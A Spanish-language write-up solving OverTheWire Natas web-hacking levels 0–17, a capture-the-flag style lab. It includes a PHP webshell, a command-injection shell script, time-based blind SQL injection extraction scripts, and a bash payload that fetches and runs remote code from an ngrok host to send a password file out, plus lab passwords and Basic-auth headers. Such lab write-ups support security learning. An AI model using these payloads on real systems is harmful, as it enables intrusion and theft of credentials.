Los niveles de OverTheWire Natas 1-17 resueltos

Writeup Natas

Icono OTW


Introducción

Natas es uno de los apartados en la web OverTheWire, en este caso este es de hacking web pero la web está bastante bien y tienen de más temáticas, por ejemplo bash, en un futuro pienso ir resolviendo más de estos ejercicios y subir esta especie de Writeup al blog.


Natas0

Simplemente mediante control+u puedes ver la contraseña de natas1 en un comentario de html.

Natas0

natas1:g9D9cREhslqBKtcA2uocGHPfMZVzeFK6


Natas1

Esta vez nos quitan el clic derecho pero igualmente con control+u somos capaces de leer la contraseña.

Natas1

natas2:h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7


Natas2

En este caso la clave ya no está en el comentario pero si vemos otra vez el código fuente llama la atención el directorio files

Natas2

Si entramos en este directorio vemos como no quitaron el permiso de listar los archivos y vemos el archivo users.txt

Natas2

natas3:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q


Natas3

Veo el contenido de esta web y tiene un comentario:

Esto es una pista ya que existe un archivo robots.txt que le dice al motor de búsqueda de google a que sitios de su web puede acceder, visito robots.txt y encuentro el directorio /s3cr3t/

Natas3

Cuando entro al directorio /s3cr3t/ encuentro el archivo users.txt al igual que antes.

natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm


Natas4

Natas4

Existe una cabecera en http llamada Referer y en este caso parece que nos piden que sea http://natas5.natas.labs.overthewire.org/, no es nada recomendable usar esto para comprobar el origen ya que podemos modificar nuestra cabeceras http libremente, en este caso mediante el uso de BurpSuite enviamos una petición con el Referer indicado.

Natas4

Enviamos la petición modificada y …

Natas4

natas5:Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD


Natas5

Natas5

Otra vez mediante BurpSuite veo la petición y hay una cookie sin encriptar que llama la atención: loggedin:0 cambio el valor a 1.

Natas5

y envio la petición …

Natas5

natas6:fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR


Natas6

Natas6

Nada más entrar vemos que te pide que introduzcas el “secreto”.

Natas6

Al revisar el código del programa no vemos la clave en claro pero si que llama la atencion el archivo includes/secret.inc los archivos con extensión .inc, tienen ese nombre por convención ya que son importados por otros archivos de php. Al visitar este archivo, tenemos el secreto.

Natas6

natas7:jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr


Natas7

Natas7

Nada más entrar a la web vemos dos opciones home y about al hacer clic en cualquiera de ellas vemos como carga la página y en la url tenemos un nuevo parámetro page=home, esto parece un LFI. Pruebo a cambiar home por /etc/passwd y …

Natas7

Ahora solo queda leer la flag de natas8 que según un comentario en la web se encuentra en /etc/natas_webpass/natas8

Natas7

natas8:a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB


Natas8

Natas8

Otra vez nos mandan introducir un secreto.

Natas8

Al ver el código de la pagina descubrimos la variable encodedSecret donde se almacena el secreto codificado return bin2hex(strrev(base64_encode($secret))); primero se le aplica base64 luego se invierte la cadena y por último hexadecimal. Pues lo decodificamos primero con hex “3d3d516343746d4d6d6c315669563362” = "==QcCtmMml1ViV3b" invertimos la cadena = “b3ViV1lmMmtCcQ==" y decodificamos con base64 = “oubWYf2kBq” ya tenemos el secreto.

Natas8

natas9:Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd


Natas9

Natas9

La página parece filtrar la palabra input en un diccionario interno. Al ver el código del programa vemos que hace el filtro mediante: grep -i {palabra} diccionario.txt, para saltarnos esto llegaría con poner || ls # para que cuando falle la primera instrucción se ejecute la segunda, que será el comando en cuestión y comentamos diccionario.txt.

Natas9

Mediante el siguiente script se puede obtener una especie de web shell.

import requests
from bs4 import BeautifulSoup
# passpow: passpow.github.io

headers = {
    'Authorization': 'Basic bmF0YXM5OlNkYTZ0MHZrT1BrTThZZU9aa0FHVmhGb2FwbHZsSkZk',
    'Cache-Control': 'max-age=0',
    'Connection': 'keep-alive',
    'Sec-GPC': '1',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'yo',
}
while 1:
    command=input("> ")
    params = {
        'needle': 'asd || {} #'.format(command),
    }

    response = requests.get('http://natas9.natas.labs.overthewire.org/', params=params, headers=headers, verify=False)
    soup = BeautifulSoup(response.text, 'html.parser')

    print(soup.pre.text)

Aunque realmente nada de esto hace falta ya que la flag está como en el LFI de antes en /etc/natas_webpass/natas10 y como usa grep podemos hacer que lea todo el archivo con el siguiente input: "" /etc/natas_webpass/natas10 # esto nos será útil en el siguiente nivel.

Natas9

natas10:D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE


Natas10

Natas10

Mediante el mismo comando de la anterior: "" /etc/natas_webpass/natas10 # conseguimos la flag.

natas11:D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE


Natas11

Nos especifican que la cookie está encriptada con el cifrado XOR.

Natas11

Usa la puerta lógica XOR en cada bit cada letra de la cadena que forma la cookie siendo esta imagen la cookie A la clave B y el resultado cifrado. Realmente nosotros tenemos la cookie antes de ser modificicada y el resultado por lo que conseguir la clave realmente no es un problema.

Conseguir clave

import json
import base64

data = {"showpassword": "no", "bgcolor": "#ffffff"}
data=json.dumps(data)

cookie = base64.b64decode("MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY=").decode("utf8")

result = ""

for i in range(0, len(cookie)):
    result += chr(ord(cookie[i]) ^ ord(data[i]))

Una vez teniendo la clave ciframos la cookie con el parámetro “showpassword”: “yes” y porque no en negro };)

import json
import base64

key = "KNHL"
def xor(a, b, n):
    ans = ""
    for i in range(n):
        if (a[i] == b[i]): 
            ans += "0"
        else: 
            ans += "1"
    return ans 

data = {"showpassword": "yes", "bgcolor": "#000000"} #negro no?
data = json.dumps(data)
mensaje_cifrado=""
for i, caracter in enumerate(data):
    clave_actual = key[i % len(key)]
    caracter_cifrado = ord(caracter) ^ ord(clave_actual)  # XOR 
    mensaje_cifrado += chr(caracter_cifrado)
print(base64.b64encode(mensaje_cifrado.encode("utf")))

Natas11

natas12:YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG

Natas12

Natas12

Una subida de archivos vulnerable, abrimos burp y encontramos el siguiente parámetro:

Natas12

El cual dicta como se almacenará el archivo en el servidor, lo modificamos con la siguiente webshell y le hacemos un cat a la contraseña ubicada en /etc/natas_webpass/natas13

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>

Natas12

natas13:lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9

Natas13

Esta vez la web verifica el tipo de archivo mediante los “magic numbers” de manera breve, son unos bytes en la cabecera de los archivos. En el caso de los archivos JPEG es la siguiente ff d8 ff e0

Natas13

Para crear este archivo modificado mucha gente usa herramientas como HxD o hexeditor pero aquí lo haremos con python3 :)

Natas13

Simple, no? Ahora para ver si todo es correcto lo podemos chekear con file y podemos ver que lo detecta como JPEG image data.

Natas13

Ahora usaremos la misma técnica que en el ejercicio 12 con burpsuite

Natas13

Una vez subida esta webshell solo queda hacerle un cat a /etc/natas_webpass/natas14 y ya :)

?cmd=cat /etc/natas_webpass/natas14

natas14:qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP

Natas14

Llegó el momento de las inyecciones SQL.

Natas14

La verdad es que no podría ser más mítica esta inyección, incluso he visto alguna camiseta con ella
” or 1=1 # hará que la consuta a la base de datos sea True y por tanto nos dé la flag.

<?php
if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas14', '<censored>');
    mysqli_select_db($link, 'natas14');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysqli_close($link);
} else {
?>

Natas14

natas15:TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB

Natas16

Esto ya se comienza a poner interesante, estamos ante una sqli blind de manual. Listamos el número de columnas mediante order by 2 #

Natas15

Con esto calculamos el número de columnas de la tabla, y con union select ‘pass’,‘pow’ # que las 2 son tipo VARCHAR

Natas15

Es importante comentar que lo sabemos ya que los outputs que nos devuelve la página víctima son una especie de True:

Natas15

Ya adelanté antes que se trata de una inyección a ciegas, en mi caso la realicé Time Based. Realmente en este caso se puede conseguir la flag vía conditional errors sin necesidad de esto, y puede que usar intervalos de tiempo sea matar un mosquito con un rifle…, pero seguramente no nos vendrá mal el script en próximos ejercicios de natas y además me encanta este método ;). Bueno pues manos a la obra, primero identificamos el tipo de base de datos que vamos a atacar, siguiendo la siguiente tabla vemos que estamos ante una base MySQL.

Gestor Sintaxis
Oracle SELECT banner FROM v$version, SELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version, SELECT version()

Vale, ahora vamos a tratar de listar la password del usuario natas16, dejo esta cheatsheet que la verdad es bastante completa y puede ayudarte.

" union select if((select mid(password,1,1) from users where username=“natas16” limit 0,1) like binary ‘a’, SLEEP(10),1), null from users – -

ES MUY IMPORTANTE que usemos el comparador like binary porque MySQL es case insensitive pero ese operador nos permite diferenciar los caracteres. En caso de comparar = te quedarán solo minúsculas. Pues a crear el script 😎️

import requests
import string


headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'Accept-Language': 'es-ES,es;q=0.5',
    'Authorization': 'Basic bmF0YXMxNTpUVGthSTdBV0c0aURFUnp0QmNFeUtWN2tSWEgxRVpSQg==',
    'Cache-Control': 'max-age=0',
    'Connection': 'keep-alive',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://natas15.natas.labs.overthewire.org',
    'Referer': 'http://natas15.natas.labs.overthewire.org/',
    'Sec-GPC': '1',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'yo',
}
def sqlitime(letter, number):
    data = {
        'username': '" union select if((select mid(password,{},1) from users where username="natas16" limit 0,1) like binary \'{}\', SLEEP(10),1), null from users -- -'.format(number, letter),
    }
    try:
        response = requests.post('http://natas15.natas.labs.overthewire.org/index.php', headers=headers, data=data, verify=False, timeout=3)
        return False
    except:
        return True

n=1
total=""
while True:
    for i in string.ascii_letters+string.digits:
       
        if sqlitime(i, n):
            total+=i
            print(total)
            n+=1
            break

Creo que en lugar de mid se puede utilizar también substring aunque no lo he probado.

Natas15

natas16:TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V

Natas16

En este caso parece que la única forma de ejecutar comandos en la máquina es mediante la siguiente instrucción $(COMMAND) esto lo que hace es ejecutar el resultado del comando. Por ejemplo:

Natas15

Por tanto se me ocurrió hacer un tunel por ngrok con el siguiente script.

#!/bin/bash

archivo="/etc/natas_webpass/natas17"
contenido=$(cat "$archivo")
servidor="https://test.ngrok-free.app/"
respuesta=$(curl "$servidor$contenido")

Natas16

Solo tendría que ejecutar

$(curl https://test.ngrok-free.app/script.sh)
en el servidor víctima y este a su vez ejecutará un curl a mi sistema a una dirreción que sería la flag, todo muy bonito, pero estas máquinas no tienen conexión con el exterior por tanto nada de esto sirve realmente para nada en este escenario, pero en muchos entornos funcionaría perfectamente. En este caso tendremos que sacar la flag de una forma parecida al nivel anterior.

$(grep passpow /etc/natas_webpass/natas17)bypass

En este caso si la cadena “passpow” no está en la flag no devuelve nada y por tanto únicamente se busca bypass y claro como la palabra está en el diccionario nos aparece, por tanto si no nos aparece nada es porque la string buscada está en la flag y se estaría buscando por ejemplo “1bypass”. Debemos poner los caracteres en su correspondiente lugar de la string. Lo haremos de la siguiente manera.

Natas16

$(grep ^8 /etc/natas_webpass/natas17)bypass
^a indica en bash que empieza por a. Ahora solo falta automatizarlo con un script en python };)

Natas16

import requests
import string

headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'Accept-Language': 'es-ES,es;q=0.6',
    'Authorization': 'Basic bmF0YXMxNjpUUkQ3aVpyZDVnQVRqajlQa1BFdWFPbGZFakhxajMyVg==',
    'Connection': 'keep-alive',
    'Referer': 'http://natas16.natas.labs.overthewire.org/?needle=%24%28grep+%5E8+%2Fetc%2Fnatas_webpass%2Fnatas17%29bypass&submit=Search',
    'Sec-GPC': '1',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'farlopa',
}


password=""
while True:
    for i in string.ascii_letters+string.digits: 
        params = {
                'needle': '$(grep ^{} /etc/natas_webpass/natas17)bypass'.format(password+i),
            'submit': 'Search',

        }

        response = requests.get('http://natas16.natas.labs.overthewire.org/', params=params, headers=headers, verify=False)
        if "bypass" not in response.text:
            password+=i
            print(password)
            

natas17:XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd

Natas17

Ponemos la siguiente instrucción, y vemos que el servidor tarda unos segundos en responder la query.

" UNION SELECT SLEEP(10), null # 

Bueno parece que tenía razón :) nos vendría bien el script de Natas15, estamos ante una SQLI Blind! Prácticamente copypasteando el código de antes consigo la clave.

Natas17

import requests
import string


headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'Accept-Language': 'es-ES,es;q=0.5',
    'Authorization': 'Basic bmF0YXMxNzpYa0V1Q2hFMFNibktCdkgxUlU3a3NJYjl1dUxtSTdzZA==',
    'Cache-Control': 'max-age=0',
    'Connection': 'keep-alive',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://natas17.natas.labs.overthewire.org',
    'Referer': 'http://natas17.natas.labs.overthewire.org/',
    'Sec-GPC': '1',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'passpow',
}
def sqlitime(letter, number):
    data = {
        'username': '" union select if((select mid(password,{},1) from users where username="natas18" limit 0,1) like binary \'{}\', SLEEP(10),1), null from users -- -'.format(number, letter),
    }
    try:
        response = requests.post('http://natas17.natas.labs.overthewire.org/index.php', headers=headers, data=data, verify=False, timeout=3)
        return False
    except:
        return True

n=1
total=""
while True:
    for i in string.ascii_letters+string.digits:
       
        if sqlitime(i, n):
            total+=i
            print(total)
            n+=1
            break

natas18:8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq